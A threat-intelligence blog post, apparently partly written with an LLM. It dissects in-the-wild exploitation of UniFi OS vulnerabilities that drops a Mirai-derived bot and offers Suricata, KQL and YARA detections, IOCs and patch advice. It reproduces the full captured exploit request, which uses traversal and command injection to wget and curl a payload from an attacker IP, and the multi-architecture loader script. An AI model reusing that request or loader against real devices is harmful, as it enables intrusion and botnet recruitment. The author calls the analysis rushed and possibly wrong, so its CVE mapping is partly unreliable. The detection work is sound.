Threat Intel
We can see from Defused honeypots and conducting a triage that CVE-2026-34910 (updated as I had the wrong CVE number, wrong as in this packet does show a traversal but is the using command exec) is being exploited in the wild!

CVE-2026-34908 Context (Traversal with no auth)
| A malicious actor with access to the network could exploit an Improper Access Control vulnerability found in UniFi OS devices to make unauthorized changes to the system. Affected Products: UCG-Industrial (Version 5.0.13 and earlier) UDM, UDM-Pro, UDM-SE, UDM-Pro-Max, EFG, UDW, UDR, UDR7, Express 7, UNVR, UNVR-Pro, UNVR-Instant, ENVR, UCG-Ultra, UCG-Max and UCG-Fiber (Version 5.0.16 and earlier) UDR-5G, ENVR-Core, UCKP, UCK and UCK-Enterprise (Version 5.0.17 and earlier) UniFi OS Server (Version 5.0.6 and earlier) UNVR-G2 and UNVR-G2-Pro (Version 5.1.11 and earlier) UDM-Beast, UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4 and UNAS-Pro-8 (Version 5.1.8 and earlier) Mitigation: Update your UCG-Industrial to Version 5.1.12 or later. Update your UDM, UDM-Pro, UDM-SE, UDM-Pro-Max, EFG, UDW, UDR, UDR7, Express 7, UNVR, UNVR-Pro, UNVR-Instant, ENVR, UCG-Ultra, UCG-Max and UCG-Fiber to Version 5.1.12 or later. Update your UDR-5G, ENVR-Core, UCKP, UCK and UCK-Enterprise to Version 5.1.12 or later. Update your UniFi OS Server to Version 5.0.8 or later. Update your UNVR-G2 and UNVR-G2-Pro to Version 5.1.12 or later. Update your UNAS-2, UNAS-4, UNAS-Pro, UNAS-Pro-4 and UNAS-Pro-8 to Version 5.1.10 or later. Update your UDM-Beast 5.1.11 or later. Impact: CVSS v3.0 Severity and Metrics: Base Score: 10.0 Critical Vector: CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H CVE: CVE-2026-34908 (Duc Anh Nguyen (@heckintosh_)) |
This shows that this CVE can be used to bypass auth and then get to root/system access.
In the packet we see from the TA they use a traversal with no auth + a command injection. This means they have used parts of TWO CVEs. (which makes it complex to understand because we don’t have more than the CVSS string and CVE descriptions to go on, and RE only gets us so far)
CVE Analysis
This is based on RE using Claude, we do not have all the view when doing RE but we have combined the CVE descriptions, RE and used an LLM to analyse.
| CVE | CVSS (vector) | Method | Path | Vulnerable element | Auth | Confidence |
|---|---|---|---|---|---|---|
| 34908 Access Control | 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | any | (a) any unauth proxied route; (b) …/proxy/<svc>/… via traversal | (a) client-sent internal headers X-UserId/X-UserRole/X-UserAccessMask/X-UserPermissionMask/X-ApiKeyId/X-Token/X-From-Service/X-UI-Peer-Token; (b) encoded ..%2f in path | none | headers [SRC]; CVE#↔mech [INFER] |
| 34909 Path Traversal | 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | GET | /app-assets/<svc>/<path> | encoded ..%2f/%2e%2e in <path> → file off disk (nginx alias) | none | [SRC] |
| 34911 Path Traversal | 7.7 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N | GET | authenticated route w/ same ..%2f primitive (endpoint unconfirmed) | encoded traversal in path | low-priv session | fix [SRC]; path [INFER] |
| 34910 Cmd Injection | 10.0 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | GET/POST | /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package | pkg_name (+ by_cmd=true) with shell metachars $( ) ; | \ &→/bin/sh -c` | none (via traversal) | sink [DECOMP]; pkg_name [SRC]; by_cmd [ITW] |
| 33000 Cmd Injection | 9.1 AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H | GET/POST | same /proxy/users/api/v2/ucs/update/… + pkg_name | same /bin/sh -c sink | valid token (no traversal) | sink [DECOMP]; authed entry [OSINT/INFER] |
It’s important to understand that each CVSS 10 can be used in its own right. A TA could use a 10.0 in a partial way and combine it would a non 10 to achieve root/system level access, there’s a lot of room for options. There might be things we do not known/understand that can be used, and the TAs might not know either. In this case we have to trust the vendor is likely more in the know and has scored correctly because they have FULL system knowledge and all source code.
When we look at the TA packet I believe we get:
Observed in-the-wild chain: CVE-2026-34908 (access-control/traversal bypass to the localhost updater) → CVE-2026-34910 (command injection via pkg_name) → Mirai loader (zok) drop.
So they use part of a CVE and part of another CVE to achieve the outcome, but I’d suggest that they could have just used either CVE if they had full knowledge. Remember the CVE numbers and descriptions really do give us a good indication of how the specific vulnerability works. If it says 10, it means it can be executed over the network, without auth and gives us a high level of impact across C I and A!
Building the botnet
This was made with Claude and using data from https://defusedcyber.com/, I’ll try and review later if we find it’s not 100% spot on correct:
XSERVUS · THREAT INTELLIGENCE
From One HTTP Request to a Botnet Implant: Anatomy of a UniFi OS Server Compromise in the Wild
A single unauthenticated request to a UniFi OS Server is being weaponised to drop a Mirai-class bot. Here is the full attack we pulled apart — exploit, loader, implant — and exactly how to detect each stage.
Key findings
- We observed live exploitation targeting SAB-064 — three independent CVSS 10.0 vulnerabilities in UniFi OS Server, each a complete critical on its own.
- The request we captured combines the nginx auth-gateway bypass with the package-update command injection to reach unauthenticated RCE in a single shot.
- The payload is a Mirai/Gafgyt-derived IoT bot. Stage 1 is a multi-architecture loader; stage 2 is the implant
azsxd(v2.0). - Detection is straightforward at three layers: a distinctive URI signature on the wire, a deleted-binary process pattern on the host, and a YARA rule for the implant.
- Action: patch UniFi OS Server to 5.0.8 or later, then treat any internet-exposed instance on an earlier build as a compromise candidate.
Figure 1 — The four-stage kill chain. The implant and loader are pulled from the same staging host.
STAGE 01The exploit: one request, three vulnerabilities
On 21 May 2026, Ubiquiti published security advisory SAB-064, covering five UniFi OS issues. Three of them are rated CVSS 10.0 — and that score is per-vulnerability, not for some combined effect. Each is a complete critical on its own: an access-control flaw that permits unauthorised changes, a path traversal that exposes the underlying filesystem, and a command injection in the package-update service that yields code execution. Ubiquiti scored them individually; the advisory did not even frame them as a chain. Public proof-of-concept and detection tooling followed within days, and we are now seeing opportunistic mass-exploitation.
What makes the request below so dangerous is that it combines two of those flaws to reach RCE with no credentials at all. UniFi OS fronts its services with nginx, which decides whether a request is public by inspecting the raw URI, but routes the request to a backend using the normalised URI. An attacker exploits that mismatch: a path that looks public in its encoded form is routed, after decoding, to an authenticated internal endpoint. That endpoint — the package-update service — passes a caller-supplied package name into a shell command with no validation. (Reached with a valid token, that same injection is tracked separately as CVE-2026-33000; reached without one, via the gateway bypass, it is CVE-2026-34910.) Inject shell metacharacters into the package name and you have unauthenticated command execution.
Here is the request we captured, URL-decoded for readability:
# path traversal escapes the "public" prefix into the authenticated endpoint GET /api/auth/validate-sso/../../../proxy/users/api/v2/ucs/update/latest_package ?pkg_name=x$( # pick the first writable directory, then pull + run the loader cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; busybox wget http://185.228.26.16/zok -O zok; curl -o zok http://185.228.26.16/zok; wget http://185.228.26.16/zok; chmod 777 zok; ./zok unifi.exploit )&by_cmd=true HTTP/1.1 Host: [redacted]:443 Source: 176.65.148.183
Two details matter for hunting. The by_cmd=true parameter is what triggers the server-side shell-out. And the argument unifi.exploit passed to the dropped file is an infection-vector tag — the operator uses it to track which exploit produced each new bot. That tag tells you this is one campaign inside a larger multi-exploit operation.
STAGE 02The loader: spray every architecture
The dropped zok is a shell loader, not the bot itself. Pulled from the staging host, it iterates a list of CPU architectures and tries to fetch and run a matching binary for each. Whichever build matches the victim’s processor executes; the rest fail harmlessly. This brute-force-every-arch behaviour is the signature of a Mirai/Gafgyt lineage spreader.
binarys="mips mpsl arm arm5 arm6 arm7 x86 arc sh4 ppc spc i5 i6 m68k" server_ip="185.228.26.16" binname="azsxd" output="cron.azsxd" # masquerades as a cron artifact for arch in $binarys; do rm -rf $binname.$arch; rm -rf $output # four fetch methods incl. two TFTP fallbacks for minimal userlands wget http://$server_ip/$binname.$arch -O $output \ || curl -o $output http://$server_ip/$binname.$arch \ || tftp -g -l $output -r $binname.$arch $server_ip \ || tftp $server_ip -c get $binname.$arch -l $output chmod 777 $output ./$output $1.$arch # runs as e.g. ./cron.azsxd unifi.exploit.x86 rm -rf $binname.$arch; rm -rf $output # unlink while running = memory-resident done
Three behaviours to note for detection:
- TFTP fallback. Beyond HTTP, the loader will use TFTP (UDP 69) where
wget/curlare absent. Add UDP 69 egress to your monitoring — it is unusual on most networks. - Anti-forensics. The file is deleted while the process keeps running. The on-disk footprint is minimal; your host hunt has to look at running processes backed by deleted executables, not at the filesystem.
- Masquerade. The output file is named
cron.azsxdto look like a scheduled-task artifact.
STAGE 03The implant: inside azsxd v2.0
We pulled the x86-64 build and analysed it statically — no execution. It is a lean (67 KB) statically-linked, stripped ELF with the .ctors/.dtors layout and encoded-string table characteristic of the Mirai family. Cleartext markers x86 and 2.0 in the binary identify the build as azsxd v2.0.
The configuration — including the command-and-control address — is held in a per-string obfuscated table and decoded at runtime, so it is not recoverable by simple string extraction or trivial XOR. The C2 socket descriptor is referenced throughout the binary’s tasking loop. To recover the live C2 endpoint, detonate the sample in an isolated sandbox with a network sinkhole and capture the outbound connect(); the bot decodes its own config for you.
| Property | Value |
|---|---|
| Family | Mirai / Gafgyt-derived IoT bot (“azsxd” v2.0) |
| Type | ELF 64-bit x86-64, statically linked, stripped |
| Size | 66,976 bytes |
| SHA-256 | 5833e2344434022e18e22c4b93dc4a7710908fd03312499014d5cabf06bfc459 |
| MD5 | 01f64cac27788be2748a15ded358802c |
| Packer | None (entropy 6.07) |
REFERENCEThree standalone 10.0 vulnerabilities (SAB-064)
| CVE | Class | CVSS | Impact on its own · role in the captured request |
|---|---|---|---|
CVE-2026-34908 | Improper access control | 10.0 | Unauthorised changes to the system · gateway treats the request as public |
CVE-2026-34909 | Path traversal | 10.0 | Exposes the underlying filesystem · raw-vs-normalised URI mismatch routes to the internal endpoint |
CVE-2026-34910 | Command injection | 10.0 | Unauthenticated code execution · unvalidated package name shelled out → RCE |
Each is rated 10.0 independently. The captured request combines 34908/34909 (reach the endpoint) with 34910 (execute). Affected: UniFi OS Server 5.0.6 and earlier · Fixed: 5.0.8 · Verify against the vendor advisory for your model.
DETECTION 01Network — catch the request and the pull
The exploit request has a recognisable shape: the /api/auth/validate-sso/ prefix alongside encoded traversal, hitting the package-update route with shell metacharacters. Pair that with egress to the staging host over HTTP and TFTP.
# 1) the SAB-064 exploit request signature alert http any any -> $HOME_NET any ( msg:"XSV UniFi SAB-064 auth-bypass + cmd injection attempt"; flow:established,to_server; http.uri; content:"/api/auth/validate-sso/"; content:"ucs/update/latest_package"; distance:0; pcre:"/(\x25(2e|2f)|\.\.\x2f|\x24\x28)/i"; classtype:web-application-attack; sid:9008064; rev:1; ) # 2) retrieval of the multi-arch loader / implant from staging alert http any any -> any any ( msg:"XSV Mirai loader/implant retrieval (zok/azsxd)"; flow:established,to_server; http.method; content:"GET"; http.uri; pcre:"/\/(zok|azsxd(\.[a-z0-9]+)?)$/i"; classtype:trojan-activity; sid:9008065; rev:1; ) # 3) anomalous outbound TFTP to the staging host (UDP/69) alert udp $HOME_NET any -> 185.228.26.16 69 ( msg:"XSV outbound TFTP to known staging host"; classtype:trojan-activity; sid:9008066; rev:1; )
DETECTION 02Host — the deleted-binary tell
Because the loader unlinks the implant while it runs, the highest-fidelity host signal is a running process backed by a deleted executable. On any reachable Linux or UniFi OS host:
# running processes whose binary has been unlinked from disk ls -l /proc/*/exe 2>/dev/null | grep -i deleted # for any hit, recover argv (look for the "unifi.exploit.<arch>" tag) and dump the image cat /proc/<pid>/cmdline | tr '\0' ' '; echo cp /proc/<pid>/exe /tmp/recovered.elf # preserve before you kill it # filesystem residue (process may already have unlinked these) find /tmp /var/run /mnt /root / -maxdepth 2 -name 'cron.azsxd' -o -name 'azsxd.*' -o -name 'zok' 2>/dev/null # UniFi-specific: anomalous sudo under the package-update service account grep -E 'ucs-update.*(dpkg|chmod|systemctl)' /var/log/auth.log 2>/dev/null
DETECTION 03SIEM — Sentinel / log analytics
If you forward UniFi or perimeter logs (syslog/CEF) into Microsoft Sentinel, the exploit request is detectable on the URI pattern. The second query catches the loader’s download chain on endpoints reporting to Defender.
// 1) SAB-064 exploit request in proxy / firewall URI logs CommonSecurityLog | where RequestURL has "validate-sso" and RequestURL has "ucs/update/latest_package" | where RequestURL has_any ("%2e", "%2f", "..", "$(") | project TimeGenerated, SourceIP, DestinationIP, RequestURL, DeviceVendor // 2) loader download chain on Linux endpoints (Defender for Endpoint) DeviceProcessEvents | where FileName in ("wget","curl","tftp","busybox") | where ProcessCommandLine has "185.228.26.16" or ProcessCommandLine has_any ("zok","azsxd","cron.azsxd") | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
DETECTION 04YARA — the implant
The implant’s configuration table contains a distinctive 22-byte record repeated three times. That, plus the build markers and a tight file-size bound, makes a precise signature.
rule MiraiVariant_azsxd_x86_64 {
meta:
description = "Mirai/Gafgyt-derived bot 'azsxd' v2.0, x86-64 build"
author = "Xservus Limited"
sha256 = "5833e2344434022e18e22c4b93dc4a7710908fd03312499014d5cabf06bfc459"
reference = "UniFi SAB-064 exploitation campaign"
strings:
// distinctive config-record prefix, repeated 3x in .data
$cfg = { 07 a7 b8 01 ff 7c 6a 50 ed d3 77 fc 7b 27 c6 61 43 55 50 65 6a 76 }
$v = "2.0" fullword
$a = "x86" fullword
condition:
uint32(0) == 0x464c457f // ELF
and filesize < 120KB
and $cfg and $a and $v
}
REFERENCEIndicators of compromise
| Indicator | Type | Role |
|---|---|---|
176.65.148.183 (whole /24) | IPv4 | Exploitation source (Pfcloud UG) |
185.228.26.16 | IPv4 | Staging / payload host (HTTP + TFTP) |
http://185.228.26.16/zok | URL | Stage-2 loader script |
http://185.228.26.16/azsxd.<arch> | URL | Implant (14 arch variants) |
5833e234…06bfc459 | SHA-256 | azsxd implant (x86-64) |
01f64cac…358802c | MD5 | azsxd implant (x86-64) |
zok, azsxd, azsxd.*, cron.azsxd | Filenames | Loader + implant artifacts |
unifi.exploit.<arch> | Process arg | Campaign / vector tag |
RESPONSEWhat to do now
- Patch. Update UniFi OS Server to 5.0.8 or later. Confirm the update lands on a host that has not already been compromised.
- Triage exposure. Any internet-reachable UniFi OS Server on 5.0.6 or earlier should be treated as an active-exploitation priority, not a routine patch.
- If reached: assume compromise. Rotate the JWT signing key, TLS keys, cloud tokens, RADIUS/WiFi/VPN secrets and database credentials, force-logout all sessions, then reboot.
- Hunt with the detections above across the estate, and pull any recovered implant in a sandbox to extract the live C2 and the full exploit set it carries — that reveals every other device class this operator is targeting.
RESPONSIBLE USE — This briefing is published for defensive purposes: detection, hardening and incident response. Decoded payloads are shown to enable detection engineering, not replication. Test only against systems you are authorised to assess.
Detection content (Suricata, KQL, YARA) in this post is provided as-is; tune to your environment before production deployment. Vulnerability details reference Ubiquiti advisory SAB-064 and public technical research. Verify affected/fixed versions against the vendor advisory for your specific hardware.
— Xservus Limited · Threat Intelligence
Summary
This is a fast publish based on honeypot and LLM analysis. Use at own risk, may contain errors etc. Last updated ~19:20 09/06/2026. If you find anything wrong, please let me know and I’ll try and validate and then correct.








